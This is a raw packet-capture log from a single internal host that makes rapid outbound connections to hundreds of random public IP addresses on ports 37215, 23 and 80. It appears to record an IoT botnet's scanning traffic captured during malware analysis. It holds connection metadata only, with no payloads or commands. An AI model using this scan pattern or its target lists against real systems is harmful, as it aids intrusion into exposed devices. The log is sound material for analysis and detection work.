Dec 3, 2024 23:16:47.404278040 CET	40597	37215	192.168.2.23	156.117.244.70
Dec 3, 2024 23:16:47.404278994 CET	40597	37215	192.168.2.23	197.110.83.22
Dec 3, 2024 23:16:47.404278994 CET	40597	37215	192.168.2.23	197.83.21.239
Dec 3, 2024 23:16:47.404282093 CET	40597	37215	192.168.2.23	197.223.233.35
Dec 3, 2024 23:16:47.404283047 CET	40597	37215	192.168.2.23	197.144.173.130
Dec 3, 2024 23:16:47.404285908 CET	40597	37215	192.168.2.23	156.168.141.205
Dec 3, 2024 23:16:47.404299021 CET	40597	37215	192.168.2.23	41.236.102.200
Dec 3, 2024 23:16:47.404299021 CET	40597	37215	192.168.2.23	156.198.129.11
Dec 3, 2024 23:16:47.404299021 CET	40597	37215	192.168.2.23	156.52.44.125
Dec 3, 2024 23:16:47.404301882 CET	40597	37215	192.168.2.23	41.221.43.248
Dec 3, 2024 23:16:47.404304028 CET	40597	37215	192.168.2.23	156.245.122.73
Dec 3, 2024 23:16:47.404320002 CET	40597	37215	192.168.2.23	197.231.30.81
Dec 3, 2024 23:16:47.404325962 CET	40597	37215	192.168.2.23	41.3.3.210
Dec 3, 2024 23:16:47.404325962 CET	40597	37215	192.168.2.23	197.237.233.67
Dec 3, 2024 23:16:47.404329062 CET	40597	37215	192.168.2.23	156.61.42.5
Dec 3, 2024 23:16:47.404342890 CET	40597	37215	192.168.2.23	41.198.73.14
Dec 3, 2024 23:16:47.404344082 CET	40597	37215	192.168.2.23	41.201.44.178
Dec 3, 2024 23:16:47.404347897 CET	40597	37215	192.168.2.23	156.72.163.204
Dec 3, 2024 23:16:47.404352903 CET	40597	37215	192.168.2.23	156.135.117.5
Dec 3, 2024 23:16:47.404352903 CET	40597	37215	192.168.2.23	156.172.34.95
Dec 3, 2024 23:16:47.404361963 CET	40597	37215	192.168.2.23	197.93.251.196
Dec 3, 2024 23:16:47.404371023 CET	40597	37215	192.168.2.23	41.29.130.134
Dec 3, 2024 23:16:47.404380083 CET	40597	37215	192.168.2.23	197.199.233.5
Dec 3, 2024 23:16:47.404382944 CET	40597	37215	192.168.2.23	156.207.232.104
Dec 3, 2024 23:16:47.404388905 CET	40597	37215	192.168.2.23	156.32.186.138
Dec 3, 2024 23:16:47.404391050 CET	40597	37215	192.168.2.23	41.14.243.50
Dec 3, 2024 23:16:47.404402971 CET	40597	37215	192.168.2.23	156.91.149.14
Dec 3, 2024 23:16:47.404406071 CET	40597	37215	192.168.2.23	156.94.1.210
Dec 3, 2024 23:16:47.404406071 CET	40597	37215	192.168.2.23	197.45.224.242
Dec 3, 2024 23:16:47.404414892 CET	40597	37215	192.168.2.23	197.141.118.119
Dec 3, 2024 23:16:47.404427052 CET	40597	37215	192.168.2.23	197.167.104.133
Dec 3, 2024 23:16:47.404427052 CET	40597	37215	192.168.2.23	41.111.76.96
Dec 3, 2024 23:16:47.404433012 CET	40597	37215	192.168.2.23	197.173.198.102
Dec 3, 2024 23:16:47.404445887 CET	40597	37215	192.168.2.23	197.61.199.4
Dec 3, 2024 23:16:47.404447079 CET	40597	37215	192.168.2.23	41.235.89.139
Dec 3, 2024 23:16:47.404447079 CET	40597	37215	192.168.2.23	156.52.75.72
Dec 3, 2024 23:16:47.404460907 CET	40597	37215	192.168.2.23	197.70.139.225
Dec 3, 2024 23:16:47.404462099 CET	40597	37215	192.168.2.23	156.224.172.93
Dec 3, 2024 23:16:47.404464006 CET	40597	37215	192.168.2.23	156.17.213.52
Dec 3, 2024 23:16:47.404468060 CET	40597	37215	192.168.2.23	156.54.240.35
Dec 3, 2024 23:16:47.404489994 CET	40597	37215	192.168.2.23	197.242.6.176
Dec 3, 2024 23:16:47.404490948 CET	40597	37215	192.168.2.23	41.11.59.149
Dec 3, 2024 23:16:47.404491901 CET	40597	37215	192.168.2.23	197.137.136.40
Dec 3, 2024 23:16:47.404491901 CET	40597	37215	192.168.2.23	41.128.123.44
Dec 3, 2024 23:16:47.404491901 CET	40597	37215	192.168.2.23	156.57.229.24
Dec 3, 2024 23:16:47.404495001 CET	40597	37215	192.168.2.23	156.127.211.45
Dec 3, 2024 23:16:47.404495001 CET	40597	37215	192.168.2.23	156.142.138.229
Dec 3, 2024 23:16:47.404500961 CET	40597	37215	192.168.2.23	41.202.111.225
Dec 3, 2024 23:16:47.404515028 CET	40597	37215	192.168.2.23	197.75.222.8
Dec 3, 2024 23:16:47.404517889 CET	40597	37215	192.168.2.23	156.255.0.3
Dec 3, 2024 23:16:47.404522896 CET	40597	37215	192.168.2.23	41.238.62.152
Dec 3, 2024 23:16:47.404522896 CET	40597	37215	192.168.2.23	41.12.91.209
Dec 3, 2024 23:16:47.404540062 CET	40597	37215	192.168.2.23	197.166.1.190
Dec 3, 2024 23:16:47.404544115 CET	40597	37215	192.168.2.23	197.56.232.62
Dec 3, 2024 23:16:47.404550076 CET	40597	37215	192.168.2.23	197.23.125.116
Dec 3, 2024 23:16:47.404551029 CET	40597	37215	192.168.2.23	197.59.216.232
Dec 3, 2024 23:16:47.404556990 CET	40597	37215	192.168.2.23	156.212.173.148
Dec 3, 2024 23:16:47.404566050 CET	40597	37215	192.168.2.23	197.216.212.129
Dec 3, 2024 23:16:47.404582977 CET	40597	37215	192.168.2.23	41.195.73.168
Dec 3, 2024 23:16:47.404583931 CET	40597	37215	192.168.2.23	41.6.94.13
Dec 3, 2024 23:16:47.404582977 CET	40597	37215	192.168.2.23	41.152.102.152
Dec 3, 2024 23:16:47.404584885 CET	40597	37215	192.168.2.23	41.191.76.63
Dec 3, 2024 23:16:47.404591084 CET	40597	37215	192.168.2.23	41.251.80.224
Dec 3, 2024 23:16:47.404592037 CET	40597	37215	192.168.2.23	156.46.162.42
Dec 3, 2024 23:16:47.404592037 CET	40597	37215	192.168.2.23	41.7.45.240
Dec 3, 2024 23:16:47.404611111 CET	40597	37215	192.168.2.23	197.13.17.68
Dec 3, 2024 23:16:47.404611111 CET	40597	37215	192.168.2.23	156.224.34.215
Dec 3, 2024 23:16:47.404613018 CET	40597	37215	192.168.2.23	197.58.90.187
Dec 3, 2024 23:16:47.404618025 CET	40597	37215	192.168.2.23	156.252.38.39
Dec 3, 2024 23:16:47.404634953 CET	40597	37215	192.168.2.23	41.84.169.232
Dec 3, 2024 23:16:47.404634953 CET	40597	37215	192.168.2.23	197.207.73.210
Dec 3, 2024 23:16:47.404639006 CET	40597	37215	192.168.2.23	41.210.2.26
Dec 3, 2024 23:16:47.404648066 CET	40597	37215	192.168.2.23	156.37.86.0
Dec 3, 2024 23:16:47.404654980 CET	40597	37215	192.168.2.23	197.23.58.5
Dec 3, 2024 23:16:47.404661894 CET	40597	37215	192.168.2.23	41.151.247.227
Dec 3, 2024 23:16:47.404663086 CET	40597	37215	192.168.2.23	197.136.201.105
Dec 3, 2024 23:16:47.404669046 CET	40597	37215	192.168.2.23	197.2.178.6
Dec 3, 2024 23:16:47.404673100 CET	40597	37215	192.168.2.23	197.115.32.186
Dec 3, 2024 23:16:47.404680014 CET	40597	37215	192.168.2.23	41.189.112.58
Dec 3, 2024 23:16:47.404685020 CET	40597	37215	192.168.2.23	197.237.188.223
Dec 3, 2024 23:16:47.404696941 CET	40597	37215	192.168.2.23	156.37.241.129
Dec 3, 2024 23:16:47.404702902 CET	40597	37215	192.168.2.23	41.251.179.205
Dec 3, 2024 23:16:47.404715061 CET	40597	37215	192.168.2.23	156.95.94.117
Dec 3, 2024 23:16:47.404750109 CET	40597	37215	192.168.2.23	197.159.27.181
Dec 3, 2024 23:16:47.404752016 CET	40597	37215	192.168.2.23	156.80.56.127
Dec 3, 2024 23:16:47.404752970 CET	40597	37215	192.168.2.23	41.9.53.37
Dec 3, 2024 23:16:47.404753923 CET	40597	37215	192.168.2.23	197.80.154.233
Dec 3, 2024 23:16:47.404753923 CET	40597	37215	192.168.2.23	197.119.59.241
Dec 3, 2024 23:16:47.404757977 CET	40597	37215	192.168.2.23	197.175.17.28
Dec 3, 2024 23:16:47.431503057 CET	37234	23	192.168.2.23	174.240.221.105
Dec 3, 2024 23:16:47.431504011 CET	55072	23	192.168.2.23	85.112.26.149
Dec 3, 2024 23:16:47.431504011 CET	57276	37215	192.168.2.23	156.124.55.110
Dec 3, 2024 23:16:47.431512117 CET	45852	80	192.168.2.23	181.102.255.131
Dec 3, 2024 23:16:47.431512117 CET	42832	80	192.168.2.23	209.92.96.31
Dec 3, 2024 23:16:47.431512117 CET	35824	23	192.168.2.23	54.163.87.119
Dec 3, 2024 23:16:47.431512117 CET	50460	23	192.168.2.23	217.31.44.89
Dec 3, 2024 23:16:47.431512117 CET	42552	23	192.168.2.23	9.231.222.167
Dec 3, 2024 23:16:47.431512117 CET	52408	23	192.168.2.23	196.250.179.4
Dec 3, 2024 23:16:47.431518078 CET	43788	80	192.168.2.23	122.213.128.42
Dec 3, 2024 23:16:47.431519985 CET	43692	23	192.168.2.23	221.198.169.88
Dec 3, 2024 23:16:47.431525946 CET	39632	23	192.168.2.23	1.139.194.233
Dec 3, 2024 23:16:47.431525946 CET	37570	23	192.168.2.23	140.76.10.211
Dec 3, 2024 23:16:47.431526899 CET	54742	23	192.168.2.23	42.51.5.44
Dec 3, 2024 23:16:47.431526899 CET	33130	23	192.168.2.23	105.187.135.120
Dec 3, 2024 23:16:47.431529045 CET	50054	80	192.168.2.23	94.118.82.104
Dec 3, 2024 23:16:47.431550980 CET	40120	23	192.168.2.23	27.84.10.92
Dec 3, 2024 23:16:47.431550980 CET	34608	80	192.168.2.23	84.62.102.3
Dec 3, 2024 23:16:47.431551933 CET	55486	80	192.168.2.23	149.220.102.53
Dec 3, 2024 23:16:47.431552887 CET	58940	80	192.168.2.23	213.7.16.234
Dec 3, 2024 23:16:47.431552887 CET	44434	80	192.168.2.23	81.22.98.221
Dec 3, 2024 23:16:47.431552887 CET	50870	37215	192.168.2.23	156.167.218.248
Dec 3, 2024 23:16:47.431554079 CET	37946	23	192.168.2.23	135.43.117.122
Dec 3, 2024 23:16:47.431555033 CET	51098	23	192.168.2.23	185.231.81.163
Dec 3, 2024 23:16:47.431552887 CET	39958	80	192.168.2.23	64.239.90.85
Dec 3, 2024 23:16:47.431555033 CET	33360	80	192.168.2.23	69.237.104.49
Dec 3, 2024 23:16:47.431552887 CET	55218	80	192.168.2.23	147.122.234.119
Dec 3, 2024 23:16:47.431555033 CET	56426	23	192.168.2.23	50.131.41.104
Dec 3, 2024 23:16:47.431554079 CET	49230	80	192.168.2.23	38.183.33.190
Dec 3, 2024 23:16:47.431552887 CET	57658	23	192.168.2.23	185.71.85.214
Dec 3, 2024 23:16:47.431554079 CET	35406	80	192.168.2.23	65.244.187.18
Dec 3, 2024 23:16:47.431555033 CET	44512	80	192.168.2.23	46.235.103.27
Dec 3, 2024 23:16:47.431552887 CET	58044	80	192.168.2.23	136.21.160.150
Dec 3, 2024 23:16:47.431554079 CET	49630	80	192.168.2.23	42.240.154.229
Dec 3, 2024 23:16:47.431554079 CET	41008	23	192.168.2.23	47.7.97.197
Dec 3, 2024 23:16:47.431577921 CET	59668	80	192.168.2.23	200.237.140.117
Dec 3, 2024 23:16:47.431577921 CET	57554	80	192.168.2.23	138.110.243.243
Dec 3, 2024 23:16:47.431579113 CET	49636	80	192.168.2.23	164.90.130.102
Dec 3, 2024 23:16:47.431579113 CET	45950	23	192.168.2.23	140.78.178.135
Dec 3, 2024 23:16:47.431579113 CET	49626	23	192.168.2.23	23.144.252.12
Dec 3, 2024 23:16:47.431583881 CET	52712	23	192.168.2.23	147.189.3.230
Dec 3, 2024 23:16:47.431583881 CET	39918	80	192.168.2.23	65.223.32.85
Dec 3, 2024 23:16:47.431587934 CET	41214	23	192.168.2.23	121.30.192.117
Dec 3, 2024 23:16:47.431587934 CET	53596	80	192.168.2.23	133.129.90.10
Dec 3, 2024 23:16:47.431590080 CET	48660	23	192.168.2.23	96.243.144.211
Dec 3, 2024 23:16:47.431590080 CET	38034	23	192.168.2.23	31.46.27.143
Dec 3, 2024 23:16:47.431590080 CET	35958	80	192.168.2.23	168.201.150.76
Dec 3, 2024 23:16:47.431590080 CET	59554	80	192.168.2.23	114.235.208.246
Dec 3, 2024 23:16:47.431590080 CET	39186	23	192.168.2.23	222.64.76.248
Dec 3, 2024 23:16:47.431590080 CET	47602	23	192.168.2.23	37.234.78.188
Dec 3, 2024 23:16:47.431590080 CET	52552	23	192.168.2.23	130.155.72.191
Dec 3, 2024 23:16:47.431591034 CET	37142	23	192.168.2.23	139.153.60.41
Dec 3, 2024 23:16:47.431591034 CET	38448	23	192.168.2.23	74.223.132.58
Dec 3, 2024 23:16:47.431591034 CET	56316	80	192.168.2.23	36.148.176.14
Dec 3, 2024 23:16:47.431591034 CET	56050	80	192.168.2.23	128.98.121.173
Dec 3, 2024 23:16:47.431595087 CET	50028	23	192.168.2.23	115.214.33.197
Dec 3, 2024 23:16:47.431595087 CET	40822	80	192.168.2.23	41.149.225.92
Dec 3, 2024 23:16:47.431596041 CET	44668	80	192.168.2.23	200.113.220.113
Dec 3, 2024 23:16:47.431596041 CET	45134	23	192.168.2.23	218.100.158.146
Dec 3, 2024 23:16:47.431596994 CET	49238	23	192.168.2.23	32.14.25.100
Dec 3, 2024 23:16:47.431596994 CET	57592	80	192.168.2.23	182.251.205.165
Dec 3, 2024 23:16:47.431629896 CET	51456	23	192.168.2.23	119.96.49.132
Dec 3, 2024 23:16:47.431629896 CET	48844	80	192.168.2.23	169.7.213.50
Dec 3, 2024 23:16:47.431629896 CET	38990	80	192.168.2.23	138.59.212.85
Dec 3, 2024 23:16:47.431629896 CET	49544	80	192.168.2.23	76.249.167.2
Dec 3, 2024 23:16:47.431629896 CET	37826	80	192.168.2.23	4.148.73.18
Dec 3, 2024 23:16:47.431629896 CET	39048	80	192.168.2.23	50.139.5.243
Dec 3, 2024 23:16:47.431632996 CET	59972	80	192.168.2.23	83.7.64.25
Dec 3, 2024 23:16:47.431633949 CET	37106	23	192.168.2.23	27.234.229.218
Dec 3, 2024 23:16:47.431632042 CET	41688	80	192.168.2.23	104.232.51.106
Dec 3, 2024 23:16:47.431633949 CET	59298	23	192.168.2.23	112.229.253.40
Dec 3, 2024 23:16:47.431632042 CET	35736	23	192.168.2.23	206.68.214.163
Dec 3, 2024 23:16:47.431633949 CET	39980	80	192.168.2.23	92.218.24.101
Dec 3, 2024 23:16:47.431633949 CET	43742	80	192.168.2.23	61.56.27.165
Dec 3, 2024 23:16:47.431637049 CET	41084	23	192.168.2.23	218.67.132.144
Dec 3, 2024 23:16:47.431632042 CET	34914	23	192.168.2.23	65.30.3.19
Dec 3, 2024 23:16:47.431637049 CET	58852	80	192.168.2.23	89.252.75.13
Dec 3, 2024 23:16:47.431633949 CET	51552	80	192.168.2.23	212.75.146.191
Dec 3, 2024 23:16:47.431638002 CET	42584	80	192.168.2.23	110.219.87.158
Dec 3, 2024 23:16:47.431637049 CET	41916	80	192.168.2.23	20.226.95.25
Dec 3, 2024 23:16:47.431638002 CET	51540	80	192.168.2.23	150.39.56.225
Dec 3, 2024 23:16:47.431638002 CET	55834	23	192.168.2.23	101.213.242.48
Dec 3, 2024 23:16:47.431637049 CET	58552	80	192.168.2.23	64.129.209.41
Dec 3, 2024 23:16:47.431638002 CET	47478	80	192.168.2.23	134.245.15.31
Dec 3, 2024 23:16:47.431637049 CET	36488	80	192.168.2.23	81.218.86.221
Dec 3, 2024 23:16:47.431632042 CET	57728	23	192.168.2.23	184.224.131.118
Dec 3, 2024 23:16:47.463593006 CET	43422	80	192.168.2.23	20.223.0.235
Dec 3, 2024 23:16:47.463593006 CET	56630	80	192.168.2.23	89.106.217.241
Dec 3, 2024 23:16:47.463593006 CET	59452	80	192.168.2.23	120.30.121.211
Dec 3, 2024 23:16:47.463593006 CET	43612	80	192.168.2.23	209.166.64.134
Dec 3, 2024 23:16:47.463593006 CET	39092	80	192.168.2.23	119.49.209.67
Dec 3, 2024 23:16:47.463593960 CET	56276	23	192.168.2.23	108.129.32.48
Dec 3, 2024 23:16:47.463593960 CET	55886	80	192.168.2.23	104.224.174.176
Dec 3, 2024 23:16:47.463593960 CET	54510	80	192.168.2.23	108.21.86.16
Dec 3, 2024 23:16:47.463596106 CET	50530	80	192.168.2.23	198.194.160.28
Dec 3, 2024 23:16:47.463596106 CET	50482	80	192.168.2.23	161.221.196.222
Dec 3, 2024 23:16:47.463597059 CET	55374	23	192.168.2.23	31.226.180.43
Dec 3, 2024 23:16:47.463597059 CET	43722	80	192.168.2.23	131.8.138.7
Dec 3, 2024 23:16:47.463597059 CET	52398	80	192.168.2.23	161.161.6.170
Dec 3, 2024 23:16:47.463598013 CET	33856	80	192.168.2.23	82.98.126.245
Dec 3, 2024 23:16:47.463597059 CET	59588	80	192.168.2.23	36.127.250.78
Dec 3, 2024 23:16:47.463599920 CET	57322	80	192.168.2.23	88.16.203.90
Dec 3, 2024 23:16:47.463599920 CET	49334	80	192.168.2.23	209.81.157.192
Dec 3, 2024 23:16:47.463620901 CET	40132	80	192.168.2.23	185.88.53.109
Dec 3, 2024 23:16:47.463624001 CET	43928	23	192.168.2.23	166.127.178.91
Dec 3, 2024 23:16:47.463624001 CET	41322	80	192.168.2.23	64.56.86.147
Dec 3, 2024 23:16:47.463624001 CET	45524	23	192.168.2.23	104.133.85.82
Dec 3, 2024 23:16:47.463624001 CET	37196	80	192.168.2.23	206.13.15.63
Dec 3, 2024 23:16:47.463624001 CET	34042	80	192.168.2.23	58.223.72.221
Dec 3, 2024 23:16:47.463624001 CET	60496	80	192.168.2.23	86.149.195.141
Dec 3, 2024 23:16:47.463625908 CET	56920	80	192.168.2.23	106.19.131.154
Dec 3, 2024 23:16:47.463625908 CET	58004	80	192.168.2.23	138.109.0.205
Dec 3, 2024 23:16:47.463629007 CET	47056	80	192.168.2.23	65.29.189.222
Dec 3, 2024 23:16:47.463629007 CET	38802	80	192.168.2.23	76.169.54.168
Dec 3, 2024 23:16:47.463629007 CET	34774	80	192.168.2.23	196.5.126.27
Dec 3, 2024 23:16:47.463629007 CET	57278	80	192.168.2.23	188.156.0.26
Dec 3, 2024 23:16:47.463630915 CET	35828	80	192.168.2.23	194.241.133.101
Dec 3, 2024 23:16:47.463630915 CET	40606	80	192.168.2.23	72.180.203.48
Dec 3, 2024 23:16:47.463630915 CET	51842	80	192.168.2.23	186.78.42.49
Dec 3, 2024 23:16:47.495579958 CET	44250	80	192.168.2.23	176.88.220.123
Dec 3, 2024 23:16:47.495583057 CET	39812	80	192.168.2.23	14.2.153.102
Dec 3, 2024 23:16:47.495589972 CET	57190	80	192.168.2.23	204.71.210.36
Dec 3, 2024 23:16:47.495594025 CET	59886	80	192.168.2.23	181.132.251.28
Dec 3, 2024 23:16:47.495596886 CET	55888	80	192.168.2.23	144.183.136.97
Dec 3, 2024 23:16:47.495599985 CET	58076	80	192.168.2.23	123.80.89.111
Dec 3, 2024 23:16:47.495599985 CET	49716	80	192.168.2.23	210.203.159.81
Dec 3, 2024 23:16:47.523650885 CET	23	50654	139.93.230.251	192.168.2.23
Dec 3, 2024 23:16:47.523673058 CET	23	44640	222.27.70.73	192.168.2.23
Dec 3, 2024 23:16:47.523718119 CET	23	33814	187.125.11.78	192.168.2.23
Dec 3, 2024 23:16:47.523726940 CET	23	34278	96.132.61.120	192.168.2.23
Dec 3, 2024 23:16:47.523753881 CET	23	51248	59.129.94.109	192.168.2.23
Dec 3, 2024 23:16:47.523763895 CET	23	50398	212.97.1.50	192.168.2.23
Dec 3, 2024 23:16:47.523808002 CET	23	54726	85.59.140.30	192.168.2.23
Dec 3, 2024 23:16:47.523818970 CET	23	52270	126.183.65.170	192.168.2.23
Dec 3, 2024 23:16:47.523830891 CET	40602	23	192.168.2.23	173.162.24.69
Dec 3, 2024 23:16:47.523830891 CET	40602	23	192.168.2.23	107.92.204.54
Dec 3, 2024 23:16:47.523830891 CET	40602	23	192.168.2.23	35.28.41.109
Dec 3, 2024 23:16:47.523832083 CET	51248	23	192.168.2.23	59.129.94.109
Dec 3, 2024 23:16:47.523837090 CET	50654	23	192.168.2.23	139.93.230.251
Dec 3, 2024 23:16:47.523837090 CET	40602	23	192.168.2.23	222.163.214.235
Dec 3, 2024 23:16:47.523837090 CET	40602	23	192.168.2.23	171.186.74.96
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	110.172.138.133
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	222.47.192.88
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	141.235.69.116
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	142.49.213.186
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	223.245.194.188
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	119.44.38.212
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	142.180.153.85
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	142.66.234.146
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	192.227.48.253
Dec 3, 2024 23:16:47.523839951 CET	40602	23	192.168.2.23	82.215.93.173
Dec 3, 2024 23:16:47.523844957 CET	40602	23	192.168.2.23	178.181.228.58
Dec 3, 2024 23:16:47.523844957 CET	40602	23	192.168.2.23	216.136.215.26
Dec 3, 2024 23:16:47.523844957 CET	40602	23	192.168.2.23	168.2.166.250
Dec 3, 2024 23:16:47.523848057 CET	40602	23	192.168.2.23	123.52.57.237
Dec 3, 2024 23:16:47.523853064 CET	23	40486	137.187.187.101	192.168.2.23
Dec 3, 2024 23:16:47.523844004 CET	40602	23	192.168.2.23	64.191.216.49
Dec 3, 2024 23:16:47.523863077 CET	23	59138	156.244.103.132	192.168.2.23
Dec 3, 2024 23:16:47.523871899 CET	40602	23	192.168.2.23	194.57.24.105
Dec 3, 2024 23:16:47.523871899 CET	40602	23	192.168.2.23	167.67.222.8
Dec 3, 2024 23:16:47.523871899 CET	40602	23	192.168.2.23	69.34.162.84
Dec 3, 2024 23:16:47.523871899 CET	40602	23	192.168.2.23	158.67.221.146
Dec 3, 2024 23:16:47.523871899 CET	40602	23	192.168.2.23	134.199.114.156
Dec 3, 2024 23:16:47.523889065 CET	40602	23	192.168.2.23	51.74.181.239
Dec 3, 2024 23:16:47.523889065 CET	40602	23	192.168.2.23	49.16.103.196
Dec 3, 2024 23:16:47.523889065 CET	40602	23	192.168.2.23	118.121.130.89
Dec 3, 2024 23:16:47.523891926 CET	40602	23	192.168.2.23	185.235.51.181
Dec 3, 2024 23:16:47.523891926 CET	40602	23	192.168.2.23	213.21.215.216
Dec 3, 2024 23:16:47.523891926 CET	40602	23	192.168.2.23	34.2.38.151
Dec 3, 2024 23:16:47.523893118 CET	33814	23	192.168.2.23	187.125.11.78
Dec 3, 2024 23:16:47.523891926 CET	40602	23	192.168.2.23	217.225.189.192
Dec 3, 2024 23:16:47.523893118 CET	40602	23	192.168.2.23	24.49.225.92
Dec 3, 2024 23:16:47.523895025 CET	23	56904	59.255.82.49	192.168.2.23
Dec 3, 2024 23:16:47.523893118 CET	40602	23	192.168.2.23	201.228.205.198
Dec 3, 2024 23:16:47.523893118 CET	40602	23	192.168.2.23	163.60.223.94
Dec 3, 2024 23:16:47.523893118 CET	40602	23	192.168.2.23	83.232.227.64
Dec 3, 2024 23:16:47.523893118 CET	40602	23	192.168.2.23	61.131.80.178
Dec 3, 2024 23:16:47.523894072 CET	40602	23	192.168.2.23	167.4.230.78
Dec 3, 2024 23:16:47.523893118 CET	40602	23	192.168.2.23	92.76.7.151
Dec 3, 2024 23:16:47.523895025 CET	44640	23	192.168.2.23	222.27.70.73
Dec 3, 2024 23:16:47.523893118 CET	40602	23	192.168.2.23	4.110.70.168
Dec 3, 2024 23:16:47.523896933 CET	34278	23	192.168.2.23	96.132.61.120
Dec 3, 2024 23:16:47.523893118 CET	54726	23	192.168.2.23	85.59.140.30
Dec 3, 2024 23:16:47.523894072 CET	40602	23	192.168.2.23	4.9.169.71
Dec 3, 2024 23:16:47.523895025 CET	40602	23	192.168.2.23	191.95.242.114
Dec 3, 2024 23:16:47.523893118 CET	40602	23	192.168.2.23	145.253.135.15
Dec 3, 2024 23:16:47.523895025 CET	40602	23	192.168.2.23	121.29.105.241
Dec 3, 2024 23:16:47.523893118 CET	40602	23	192.168.2.23	45.243.124.221
Dec 3, 2024 23:16:47.523896933 CET	40602	23	192.168.2.23	32.168.79.125
Dec 3, 2024 23:16:47.523895025 CET	40602	23	192.168.2.23	17.143.215.239
Dec 3, 2024 23:16:47.523896933 CET	50398	23	192.168.2.23	212.97.1.50
Dec 3, 2024 23:16:47.523897886 CET	40602	23	192.168.2.23	82.157.196.130
Dec 3, 2024 23:16:47.523896933 CET	40602	23	192.168.2.23	157.98.188.144
Dec 3, 2024 23:16:47.523897886 CET	40602	23	192.168.2.23	146.2.100.191
Dec 3, 2024 23:16:47.523895025 CET	40602	23	192.168.2.23	147.175.251.92
Dec 3, 2024 23:16:47.523896933 CET	40602	23	192.168.2.23	175.157.137.36
Dec 3, 2024 23:16:47.523897886 CET	40602	23	192.168.2.23	195.223.45.185
Dec 3, 2024 23:16:47.523912907 CET	23	45326	23.102.73.106	192.168.2.23
Dec 3, 2024 23:16:47.523924112 CET	23	42348	143.212.155.26	192.168.2.23
Dec 3, 2024 23:16:47.523936033 CET	40602	23	192.168.2.23	162.48.117.227
Dec 3, 2024 23:16:47.523936033 CET	40602	23	192.168.2.23	164.143.105.240
Dec 3, 2024 23:16:47.523936033 CET	40602	23	192.168.2.23	63.10.100.161
Dec 3, 2024 23:16:47.523940086 CET	40602	23	192.168.2.23	185.253.88.140
Dec 3, 2024 23:16:47.523941994 CET	40602	23	192.168.2.23	200.233.44.196
Dec 3, 2024 23:16:47.523941994 CET	40602	23	192.168.2.23	88.211.164.53
Dec 3, 2024 23:16:47.523941994 CET	40602	23	192.168.2.23	123.53.59.177
Dec 3, 2024 23:16:47.523942947 CET	40602	23	192.168.2.23	63.241.79.190
Dec 3, 2024 23:16:47.523941994 CET	40602	23	192.168.2.23	177.176.110.239
Dec 3, 2024 23:16:47.523942947 CET	40602	23	192.168.2.23	100.213.244.100
Dec 3, 2024 23:16:47.523943901 CET	40602	23	192.168.2.23	197.232.208.168
Dec 3, 2024 23:16:47.523941994 CET	40602	23	192.168.2.23	99.19.131.158
Dec 3, 2024 23:16:47.523941994 CET	23	58352	139.93.186.145	192.168.2.23
Dec 3, 2024 23:16:47.523941994 CET	40602	23	192.168.2.23	136.20.216.43
Dec 3, 2024 23:16:47.523947954 CET	40602	23	192.168.2.23	130.3.118.51
Dec 3, 2024 23:16:47.523943901 CET	59138	23	192.168.2.23	156.244.103.132
Dec 3, 2024 23:16:47.523947954 CET	40602	23	192.168.2.23	176.249.211.98
Dec 3, 2024 23:16:47.523947001 CET	40602	23	192.168.2.23	154.4.118.102
Dec 3, 2024 23:16:47.523947954 CET	40602	23	192.168.2.23	189.148.130.193
Dec 3, 2024 23:16:47.523942947 CET	40602	23	192.168.2.23	78.204.238.126
Dec 3, 2024 23:16:47.523947954 CET	40602	23	192.168.2.23	129.65.202.37
Dec 3, 2024 23:16:47.523947001 CET	52270	23	192.168.2.23	126.183.65.170
Dec 3, 2024 23:16:47.523947954 CET	40602	23	192.168.2.23	78.161.115.70
Dec 3, 2024 23:16:47.523947001 CET	40602	23	192.168.2.23	150.198.194.243
Dec 3, 2024 23:16:47.523947954 CET	40486	23	192.168.2.23	137.187.187.101
Dec 3, 2024 23:16:47.523947001 CET	40602	23	192.168.2.23	149.169.170.180
Dec 3, 2024 23:16:47.523947954 CET	40602	23	192.168.2.23	160.32.135.174
Dec 3, 2024 23:16:47.523947001 CET	40602	23	192.168.2.23	31.127.165.9
Dec 3, 2024 23:16:47.523947954 CET	40602	23	192.168.2.23	32.172.244.30
Dec 3, 2024 23:16:47.523947001 CET	40602	23	192.168.2.23	61.218.152.15
Dec 3, 2024 23:16:47.523966074 CET	40602	23	192.168.2.23	4.3.118.127
Dec 3, 2024 23:16:47.523966074 CET	40602	23	192.168.2.23	122.91.64.53
Dec 3, 2024 23:16:47.523966074 CET	40602	23	192.168.2.23	69.49.35.131
Dec 3, 2024 23:16:47.523968935 CET	40602	23	192.168.2.23	184.227.19.232
Dec 3, 2024 23:16:47.523968935 CET	40602	23	192.168.2.23	176.224.101.11
Dec 3, 2024 23:16:47.523971081 CET	40602	23	192.168.2.23	97.148.25.125
Dec 3, 2024 23:16:47.523971081 CET	40602	23	192.168.2.23	100.252.127.63
Dec 3, 2024 23:16:47.523972034 CET	40602	23	192.168.2.23	183.101.169.201
Dec 3, 2024 23:16:47.523972034 CET	40602	23	192.168.2.23	160.33.25.121
Dec 3, 2024 23:16:47.523972034 CET	40602	23	192.168.2.23	140.132.207.225
Dec 3, 2024 23:16:47.523971081 CET	40602	23	192.168.2.23	97.72.81.11
Dec 3, 2024 23:16:47.523971081 CET	40602	23	192.168.2.23	37.79.67.216
Dec 3, 2024 23:16:47.523972988 CET	23	43932	210.13.5.108	192.168.2.23
Dec 3, 2024 23:16:47.523976088 CET	40602	23	192.168.2.23	143.163.5.116
Dec 3, 2024 23:16:47.523977041 CET	40602	23	192.168.2.23	177.219.226.120
Dec 3, 2024 23:16:47.523977041 CET	40602	23	192.168.2.23	4.203.2.183
Dec 3, 2024 23:16:47.523973942 CET	40602	23	192.168.2.23	176.253.11.34
Dec 3, 2024 23:16:47.523973942 CET	40602	23	192.168.2.23	158.192.178.33
Dec 3, 2024 23:16:47.523972034 CET	45326	23	192.168.2.23	23.102.73.106
Dec 3, 2024 23:16:47.523972034 CET	40602	23	192.168.2.23	168.21.98.38
